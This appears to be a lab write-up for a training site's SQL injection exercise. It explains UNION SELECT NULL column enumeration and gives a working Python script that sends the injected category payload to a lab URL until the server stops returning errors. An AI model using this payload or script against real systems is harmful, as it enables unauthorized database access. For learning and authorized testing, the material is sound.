3. SQL injection UNION attack, determining the number of columns returned by the query

Attacking a web application with a SQL injection vulnerability, we’re asked to determine the number of columns in the table with the vulnerable SELECT clause using UNION. We use a techinque with UNION SELECT NULL…— to iteratively brute force the number of columns. If we receive a 500 response from the server, we know that the number of columns is too low. We continue to increase the number of colums until we receive a 200 response - indicating the number of columns present in the vulnerable table.

Solution:

# usage:
# python3 3.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
 
from argparse import ArgumentParser
 
import requests
 
 
class Solution:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip("/")
 
    def solve(self) -> None:
        s = requests.Session()
 
        i = 1
        r = s.get(f"{self.url}/filter?category=Accessories'+UNION+SELECT+NULL--")
        while r.status_code == 500:
            i += 1
            nulls = ["NULL"] * i
            r = s.get(
                f"{self.url}/filter?category=Accessories'+UNION+SELECT+{','.join(nulls)}--"
            )
 
        print(f"Number of columns: {i}")
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    args = parser.parse_args()
    s = Solution(args.url)
    s.solve()
 
 
if __name__ == "__main__":
    main()